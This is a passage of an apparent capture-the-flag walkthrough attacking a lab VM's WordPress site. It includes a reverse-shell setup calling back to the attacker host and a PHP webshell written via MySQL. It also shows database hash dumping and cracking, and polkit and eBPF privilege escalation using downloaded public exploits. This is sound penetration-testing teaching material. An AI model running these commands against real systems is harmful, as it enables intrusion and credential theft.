&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;attachment-post-thumbnail size-post-thumbnail wp-post-image&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#34;(https?://.*?)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urls&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316095341875.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316095517782.png"&gt;&lt;/p&gt;
&lt;p&gt;The config file is in our hands — database password obtained, the loop is complete.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316100224958.png"&gt;&lt;/p&gt;
&lt;p&gt;Similarly, &lt;code&gt;/etc/passwd&lt;/code&gt; can also be retrieved this way, which loops back to the SSH brute-force section — another closed loop.&lt;/p&gt;
&lt;h6 id="admin-john-logs-into-wp-backend-and-uploads-reverse-shell"&gt;Admin John Logs into WP Backend and Uploads Reverse Shell
&lt;/h6&gt;&lt;p&gt;The admin opens the media interface and finds files previously generated by the plugin.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316102347298.png"&gt;&lt;/p&gt;
&lt;p&gt;Copy and modify a reverse PHP shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;172.168.169.128&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There are many ways to generate shells. This example uses only the reverse shell type. Other writeups mention webacoo, weevely, MSF, Behinder, etc. See &lt;a class="link" href="#webshell-common-techniques" &gt;Common WebShell Techniques&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316102627414.png"&gt;&lt;/p&gt;
&lt;p&gt;Clicking upload prompts an unsupported file type error.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316102808050.png"&gt;&lt;/p&gt;
&lt;p&gt;Intercept the request, add a null byte truncation — upload succeeds, but the file is parsed as a PNG, not executed. No problem — plugin upload is another option.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103006045.png"&gt;&lt;/p&gt;
&lt;p&gt;Also upload the PHP file, click Install:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103110546.png"&gt;&lt;/p&gt;
&lt;p&gt;Ignore this page, just click Proceed — our PHP file will now appear in the upload directory.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103120770.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103208810.png"&gt;&lt;/p&gt;
&lt;p&gt;Shell successfully received. From here, escalate using the Peter sudo method.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103313226.png"&gt;&lt;/p&gt;
&lt;h4 id="mysql-database"&gt;MySQL Database
&lt;/h4&gt;&lt;p&gt;After SSH brute-force and logging into SHayslett&amp;rsquo;s account, browsing &lt;code&gt;/var/www/https/blogblog&lt;/code&gt; reveals the database password:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145653162.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315092132410.png"&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, cannot switch to root via SSH directly — meaning root&amp;rsquo;s password is not reused, it can only be used for database connection.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314150555198.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314151459331.png"&gt;&lt;/p&gt;
&lt;p&gt;Connect to the database with username root and password plbkac:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="obtain-blog-system-user-passwords"&gt;Obtain Blog System User Passwords
&lt;/h5&gt;&lt;p&gt;Extract user_login and user_pass from the table, export to file, and crack with john:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;show databases;
use wordpress;
show tables;
select * from wp_users;
select concat(user_login,&amp;#39;:&amp;#39;,user_pass) from wp_users;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315093257215.png"&gt;&lt;/p&gt;
&lt;p&gt;Execute directly from the command line using the &lt;code&gt;-e&lt;/code&gt; parameter — output is plain text. Then pass it to john for cracking (this john is the password cracker, not the user):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se &lt;span class="s2"&gt;&amp;#34;select concat(user_login,&amp;#39;:&amp;#39;,user_pass) from wordpress.wp_users;&amp;#34;&lt;/span&gt; &amp;gt; hashes.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;phpass --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hashes.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102842747.png"&gt;&lt;/p&gt;
&lt;p&gt;Checking additional configuration reveals that john is clearly the administrator:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_options&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;siteurl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;blogname&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;blogdescription&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin_email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;blogpublic&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316110526411.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_login&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;meta_value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_usermeta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_usermeta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;meta_key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wp_capabilities&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316110723108.png"&gt;&lt;/p&gt;
&lt;p&gt;Found that john, peter, and Vicki are all admins. Vicki wasn&amp;rsquo;t investigated further — unfortunately her password wasn&amp;rsquo;t cracked. Doesn&amp;rsquo;t matter though.&lt;/p&gt;
&lt;h5 id="mysql-webshell-upload"&gt;MySQL Webshell Upload
&lt;/h5&gt;&lt;p&gt;Using the intel gathered from the blogblog system to locate the upload directory, write a webshell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Write to MySQL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;SELECT &lt;span class="s2"&gt;&amp;#34;&amp;lt;?php system(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="s2"&gt;[&amp;#39;cmd&amp;#39;]); ?&amp;gt;&amp;#34;&lt;/span&gt; into outfile &lt;span class="s2"&gt;&amp;#34;/var/www/https/blogblog/wp-content/uploads/exec.php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Verify write was successful&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;curl -k &lt;span class="s2"&gt;&amp;#34;https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316111059224.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316111210931.png"&gt;&lt;/p&gt;
&lt;p&gt;Same operation can be done through the phpMyAdmin interface.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316111510528.png"&gt;&lt;/p&gt;
&lt;h4 id="samba-service-on-port-139"&gt;Samba Service on Port 139
&lt;/h4&gt;&lt;p&gt;Use enum4linux to probe the SMB service:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;enum4linux -a 172.168.169.129 | tee smb_result
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Found valid shares: tmp and kathy.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314211717904.png"&gt;&lt;/p&gt;
&lt;p&gt;Users discovered — these can be used in the SSH brute-force step:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314211704014.png"&gt;&lt;/p&gt;
&lt;h3 id="methods-for-root-privilege-escalation"&gt;Methods for Root Privilege Escalation
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315170723113.png"&gt;&lt;/p&gt;
&lt;p&gt;Upload LinPEAS:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315170949349.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315171442030.png"&gt;&lt;/p&gt;
&lt;h4 id="kernel-exploit-cve-2016-4557"&gt;Kernel Exploit: CVE-2016-4557
&lt;/h4&gt;&lt;p&gt;Check kernel version information:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315103339006.png"&gt;&lt;/p&gt;
&lt;p&gt;Use searchsploit to find vulnerabilities for this version:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;searchsploit ubuntu 16.04 privilege escalation
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315103513999.png"&gt;&lt;/p&gt;
&lt;p&gt;The first one is for Windows — not applicable. The next two are for x86_64 — not applicable. Only &lt;code&gt;linux/local/39772.txt&lt;/code&gt; fits. Let&amp;rsquo;s try it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m linux/local/39772.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat 39772.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315104230627.png"&gt;&lt;/p&gt;
&lt;p&gt;Execute on the target machine. This is tested on a local VM — Kali might not be able to download it, so download locally and transfer via HTTP:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;unzip 39772.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="m"&gt;39772&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;tar -xvf exploit.tar
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ebpf_mapfd_doubleput_exploit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;chmod +x compile.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;./compile.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315104614371.png"&gt;&lt;/p&gt;
&lt;p&gt;The warning can be ignored — as long as the compiled executables are present. Execute and wait about a minute for the privilege escalation to complete.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315104908150.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This is CVE-2016-4557.&lt;/strong&gt; Brief technical explanation: The Linux kernel eBPF subsystem has a file descriptor double-put (reference count error) when handling &lt;code&gt;BPF_MAP_CREATE&lt;/code&gt;, which can lead to UAF. It ultimately uses writev + FUSE race conditions to change an arbitrary file to SUID root, then executes &lt;code&gt;suidhelper&lt;/code&gt; to obtain a root shell. Affects kernel versions ≤ 4.5.&lt;/p&gt;
&lt;h4 id="kernel-exploit-cve-2021-4034"&gt;Kernel Exploit: CVE-2021-4034
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Discovery Steps&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Discovered during the information gathering phase via:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. Check kernel and OS version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/os-release
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Output: Ubuntu 16.04, old kernel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. Check polkit version (key)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;dpkg -l policykit-1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;pkexec --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Version &amp;lt;= 0.105 indicates vulnerability&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Vulnerability scope: polkit &amp;lt; 0.120 (all versions from 2009 to January 2022). Ubuntu 16.04&amp;rsquo;s polkit version falls within range.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315172621605.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploitation Steps&lt;/strong&gt;&lt;/p&gt;
&lt;h5 id="method-1-one-click-poc-script-from-github"&gt;Method 1: One-Click PoC Script from GitHub
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Download PoC on target (or transfer from Kali)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;unzip main.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2021-4034-main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;make
